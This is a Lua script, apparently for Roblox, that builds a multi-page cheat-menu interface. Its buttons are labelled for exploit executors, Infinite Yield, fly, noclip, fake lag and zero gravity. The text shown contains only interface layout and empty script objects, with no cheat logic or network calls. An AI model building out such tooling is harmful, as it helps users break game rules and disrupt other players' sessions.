
KeylessUniversal

local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ScreenGui.Frame3
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["Visible"] = false;
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 825, 0, 403);
G2L["2"]["Position"] = UDim2.new(0.17835, 0, 0.20455, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["2"]["Name"] = [[Frame3]];
G2L["2"]["BackgroundTransparency"] = 0.05;
-- StarterGui.ScreenGui.Frame3.DraggableFrame
G2L["3"] = Instance.new("LocalScript", G2L["2"]);
G2L["3"]["Name"] = [[DraggableFrame]];
-- StarterGui.ScreenGui.Frame3.TextLabel
G2L["4"] = Instance.new("TextLabel", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["TextColor3"] = Color3.fromRGB(126, 33, 255);
G2L["4"]["BackgroundTransparency"] = 1;
G2L["4"]["Size"] = UDim2.new(0, 825, 0, 50);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[C00lberse x luisgameriscool gui]];
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["5"] = Instance.new("TextButton", G2L["2"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["TextSize"] = 14;
G2L["5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Text"] = [[BACK]];
G2L["5"]["Position"] = UDim2.new(0, 0, 0.87593, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["5"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["BorderSizePixel"] = 2;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextScaled"] = true;
G2L["7"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["Size"] = UDim2.new(0, 38, 0, 39);
G2L["7"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["7"]["Text"] = [[X]];
G2L["7"]["Position"] = UDim2.new(0.95394, 0, 0, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["9"] = Instance.new("TextButton", G2L["2"]);
G2L["9"]["TextWrapped"] = true;
G2L["9"]["BorderSizePixel"] = 2;
G2L["9"]["TextSize"] = 14;
G2L["9"]["TextScaled"] = true;
G2L["9"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["9"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["9"]["Text"] = [[inf yield]];
G2L["9"]["Position"] = UDim2.new(0.05212, 0, 0.19107, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["b"] = Instance.new("TextButton", G2L["2"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["BorderSizePixel"] = 2;
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextScaled"] = true;
G2L["b"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["b"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["b"]["Text"] = [[c00lclan]];
G2L["b"]["Position"] = UDim2.new(0.37818, 0, 0.19107, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["d"] = Instance.new("TextButton", G2L["2"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["BorderSizePixel"] = 2;
G2L["d"]["TextSize"] = 14;
G2L["d"]["TextScaled"] = true;
G2L["d"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["d"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["d"]["Text"] = [[lucas gui]];
G2L["d"]["Position"] = UDim2.new(0.71152, 0, 0.19107, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["f"] = Instance.new("TextButton", G2L["2"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["BorderSizePixel"] = 2;
G2L["f"]["TextSize"] = 14;
G2L["f"]["TextScaled"] = true;
G2L["f"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["f"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["f"]["Text"] = [[noober gui]];
G2L["f"]["Position"] = UDim2.new(0.05212, 0, 0.40447, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["11"] = Instance.new("TextButton", G2L["2"]);
G2L["11"]["TextWrapped"] = true;
G2L["11"]["BorderSizePixel"] = 2;
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextScaled"] = true;
G2L["11"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["11"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["11"]["Text"] = [[lucas gui v2]];
G2L["11"]["Position"] = UDim2.new(0.37818, 0, 0.40447, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["13"] = Instance.new("TextButton", G2L["2"]);
G2L["13"]["TextWrapped"] = true;
G2L["13"]["BorderSizePixel"] = 2;
G2L["13"]["TextSize"] = 14;
G2L["13"]["TextScaled"] = true;
G2L["13"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["13"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["13"]["Text"] = [[zncgui]];
G2L["13"]["Position"] = UDim2.new(0.71152, 0, 0.40447, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["15"] = Instance.new("TextButton", G2L["2"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["BorderSizePixel"] = 2;
G2L["15"]["TextSize"] = 14;
G2L["15"]["TextScaled"] = true;
G2L["15"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["15"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["15"]["Text"] = [[ss executor]];
G2L["15"]["Position"] = UDim2.new(0.05212, 0, 0.62531, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["17"] = Instance.new("TextButton", G2L["2"]);
G2L["17"]["TextWrapped"] = true;
G2L["17"]["BorderSizePixel"] = 2;
G2L["17"]["TextSize"] = 14;
G2L["17"]["TextScaled"] = true;
G2L["17"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["17"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["17"]["Text"] = [[free emotes]];
G2L["17"]["Position"] = UDim2.new(0.37818, 0, 0.62531, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["19"] = Instance.new("TextButton", G2L["2"]);
G2L["19"]["TextWrapped"] = true;
G2L["19"]["BorderSizePixel"] = 2;
G2L["19"]["TextSize"] = 14;
G2L["19"]["TextScaled"] = true;
G2L["19"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["19"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["19"]["Text"] = [[telekinesis]];
G2L["19"]["Position"] = UDim2.new(0.71152, 0, 0.62531, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);
-- StarterGui.ScreenGui.Frame3.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["2"]);
G2L["1b"]["BorderSizePixel"] = 0;
G2L["1b"]["TextSize"] = 14;
G2L["1b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["Text"] = [[NEXT]];
G2L["1b"]["Position"] = UDim2.new(0.75758, 0, 0.87593, 0);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
-- StarterGui.ScreenGui.Frame2
G2L["1d"] = Instance.new("Frame", G2L["1"]);
G2L["1d"]["Visible"] = false;
G2L["1d"]["BorderSizePixel"] = 0;
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Size"] = UDim2.new(0, 321, 0, 259);
G2L["1d"]["Position"] = UDim2.new(0.56465, 0, 0.28624, 0);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["1d"]["Name"] = [[Frame2]];
G2L["1d"]["BackgroundTransparency"] = 0.05;
-- StarterGui.ScreenGui.Frame2.DraggableFrame
G2L["1e"] = Instance.new("LocalScript", G2L["1d"]);
G2L["1e"]["Name"] = [[DraggableFrame]];
-- StarterGui.ScreenGui.Frame2.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["1d"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 2;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextScaled"] = true;
G2L["1f"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["Size"] = UDim2.new(0, 38, 0, 39);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["1f"]["Text"] = [[X]];
G2L["1f"]["Position"] = UDim2.new(0.87917, 0, 0, 0);
-- StarterGui.ScreenGui.Frame2.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.ScreenGui.Frame2.TextLabel
G2L["21"] = Instance.new("TextLabel", G2L["1d"]);
G2L["21"]["TextWrapped"] = true;
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["TextSize"] = 14;
G2L["21"]["TextScaled"] = true;
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundTransparency"] = 1;
G2L["21"]["RichText"] = true;
G2L["21"]["Size"] = UDim2.new(0, 281, 0, 179);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Text"] = [[Btw noober if u somehow see this and if anyone sees this i worked at the gui to and its secret so shhhhhhhhhhhhh and its me Lucas_cubing10 ( znc_13 )]];
G2L["21"]["Position"] = UDim2.new(0.06231, 0, 0.20077, 0);
-- StarterGui.ScreenGui.Frame2.ImageLabel
G2L["22"] = Instance.new("ImageLabel", G2L["1d"]);
G2L["22"]["BorderSizePixel"] = 0;
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["22"]["Image"] = [[rbxassetid://124868710717730]];
G2L["22"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["BackgroundTransparency"] = 1;
G2L["22"]["Position"] = UDim2.new(0.20724, 0, -0.47595, 0);
-- StarterGui.ScreenGui.Frame1
G2L["23"] = Instance.new("Frame", G2L["1"]);
G2L["23"]["BorderSizePixel"] = 3;
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Size"] = UDim2.new(0, 825, 0, 403);
G2L["23"]["Position"] = UDim2.new(0.17835, 0, 0.20455, 0);
G2L["23"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["23"]["Name"] = [[Frame1]];
G2L["23"]["BackgroundTransparency"] = 0.05;
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["24"] = Instance.new("TextButton", G2L["23"]);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["BorderSizePixel"] = 2;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextScaled"] = true;
G2L["24"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["24"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["24"]["Text"] = [[c00l executer]];
G2L["24"]["Position"] = UDim2.new(0.05939, 0, 0.14888, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["26"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["27"] = Instance.new("TextButton", G2L["23"]);
G2L["27"]["TextWrapped"] = true;
G2L["27"]["BorderSizePixel"] = 2;
G2L["27"]["TextSize"] = 14;
G2L["27"]["TextScaled"] = true;
G2L["27"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["27"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["27"]["Text"] = [[randum executer]];
G2L["27"]["Position"] = UDim2.new(0.37091, 0, 0.14888, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["28"] = Instance.new("LocalScript", G2L["27"]);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["27"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["2a"] = Instance.new("TextButton", G2L["23"]);
G2L["2a"]["TextWrapped"] = true;
G2L["2a"]["BorderSizePixel"] = 2;
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["TextScaled"] = true;
G2L["2a"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["2a"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["2a"]["Text"] = [[1x1x1x1 gui]];
G2L["2a"]["Position"] = UDim2.new(0.69818, 0, 0.14888, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["2b"] = Instance.new("LocalScript", G2L["2a"]);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["2c"] = Instance.new("LocalScript", G2L["2a"]);
-- StarterGui.ScreenGui.Frame1.TextLabel
G2L["2d"] = Instance.new("TextLabel", G2L["23"]);
G2L["2d"]["TextWrapped"] = true;
G2L["2d"]["BorderSizePixel"] = 0;
G2L["2d"]["TextSize"] = 14;
G2L["2d"]["TextScaled"] = true;
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["TextColor3"] = Color3.fromRGB(126, 33, 255);
G2L["2d"]["BackgroundTransparency"] = 1;
G2L["2d"]["Size"] = UDim2.new(0, 825, 0, 50);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["Text"] = [[C00lberse x luisgameriscool gui]];
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["2e"] = Instance.new("TextButton", G2L["23"]);
G2L["2e"]["TextWrapped"] = true;
G2L["2e"]["BorderSizePixel"] = 2;
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["TextScaled"] = true;
G2L["2e"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["2e"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["2e"]["Text"] = [[feke lag]];
G2L["2e"]["Position"] = UDim2.new(0.05939, 0, 0.41439, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["2f"] = Instance.new("LocalScript", G2L["2e"]);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2e"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["31"] = Instance.new("TextButton", G2L["23"]);
G2L["31"]["TextWrapped"] = true;
G2L["31"]["BorderSizePixel"] = 2;
G2L["31"]["TextSize"] = 14;
G2L["31"]["TextScaled"] = true;
G2L["31"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["Size"] = UDim2.new(0, 38, 0, 39);
G2L["31"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["31"]["Text"] = [[X]];
G2L["31"]["Position"] = UDim2.new(0.95394, 0, 0, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["32"] = Instance.new("LocalScript", G2L["31"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["33"] = Instance.new("TextButton", G2L["23"]);
G2L["33"]["TextWrapped"] = true;
G2L["33"]["BorderSizePixel"] = 2;
G2L["33"]["TextSize"] = 14;
G2L["33"]["TextScaled"] = true;
G2L["33"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["33"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["33"]["Text"] = [[zero grevety ;)]];
G2L["33"]["Position"] = UDim2.new(0.39879, 0, 0.41439, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["34"] = Instance.new("LocalScript", G2L["33"]);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["35"] = Instance.new("LocalScript", G2L["33"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["36"] = Instance.new("TextButton", G2L["23"]);
G2L["36"]["TextWrapped"] = true;
G2L["36"]["BorderSizePixel"] = 2;
G2L["36"]["TextSize"] = 14;
G2L["36"]["TextScaled"] = true;
G2L["36"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["36"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["36"]["Text"] = [[quirky cmd]];
G2L["36"]["Position"] = UDim2.new(0.69818, 0, 0.41439, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["37"] = Instance.new("LocalScript", G2L["36"]);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["38"] = Instance.new("LocalScript", G2L["36"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["39"] = Instance.new("TextButton", G2L["23"]);
G2L["39"]["BorderSizePixel"] = 0;
G2L["39"]["TextSize"] = 14;
G2L["39"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Text"] = [[NEXT]];
G2L["39"]["Position"] = UDim2.new(0.75758, 0, 0.87593, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["3a"] = Instance.new("LocalScript", G2L["39"]);
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["3b"] = Instance.new("TextButton", G2L["23"]);
G2L["3b"]["BorderSizePixel"] = 0;
G2L["3b"]["TextSize"] = 14;
G2L["3b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["Size"] = UDim2.new(0, 25, 0, 24);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["Text"] = [[]];
G2L["3b"]["Position"] = UDim2.new(0, 0, 0.94045, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
G2L["3c"] = Instance.new("LocalScript", G2L["3b"]);
-- StarterGui.ScreenGui.Frame1.DraggableFrame
G2L["3d"] = Instance.new("LocalScript", G2L["23"]);
G2L["3d"]["Name"] = [[DraggableFrame]];
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["3e"] = Instance.new("TextButton", G2L["23"]);
G2L["3e"]["TextWrapped"] = true;
G2L["3e"]["BorderSizePixel"] = 2;
G2L["3e"]["TextSize"] = 14;
G2L["3e"]["TextScaled"] = true;
G2L["3e"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["3e"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["3e"]["Text"] = [[FLY]];
G2L["3e"]["Position"] = UDim2.new(0.0303, 0, 0.8536, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.FlyToggleLocal
G2L["3f"] = Instance.new("LocalScript", G2L["3e"]);
G2L["3f"]["Name"] = [[FlyToggleLocal]];
-- StarterGui.ScreenGui.Frame1.TextButton
G2L["40"] = Instance.new("TextButton", G2L["23"]);
G2L["40"]["TextWrapped"] = true;
G2L["40"]["BorderSizePixel"] = 2;
G2L["40"]["TextSize"] = 14;
G2L["40"]["TextScaled"] = true;
G2L["40"]["TextColor3"] = Color3.fromRGB(133, 85, 255);
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["40"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["40"]["Text"] = [[NOCLIP]];
G2L["40"]["Position"] = UDim2.new(0.30182, 0, 0.8536, 0);
-- StarterGui.ScreenGui.Frame1.TextButton.NoclipToggleLocal
G2L["41"] = Instance.new("LocalScript", G2L["40"]);
G2L["41"]["Name"] = [[NoclipToggleLocal]];
-- StarterGui.ScreenGui.Frame4
G2L["42"] = Instance.new("Frame", G2L["1"]);
G2L["42"]["Visible"] = false;
G2L["42"]["BorderSizePixel"] = 3;
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["Size"] = UDim2.new(0, 825, 0, 403);
G2L["42"]["Position"] = UDim2.new(0.17835, 0, 0.20455, 0);
G2L["42"]["BorderColor3"] = Color3.fromRGB(145, 54, 255);
G2L["42"]["Name"] = [[Frame4]];
G2L["42"]["BackgroundTransparency"] = 0.05;
-- StarterGui.ScreenGui.Frame4.DraggableFrame
G2L["43"] = Instance.new("LocalScript", G2L["42"]);
G2L["43"]["Name"] = [[DraggableFrame]];
-- StarterGui.ScreenGui.Frame4.TextLabel
G2L["44"] = Instance.new("TextLabel", G2L["42"]);
G2L["44"]["TextWrapped"] = true;
G2L["44"]["BorderSizePixel"] = 0;
G2L["44"]["TextSize"] = 14;
G2L["44"]["TextScaled"] = true;
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
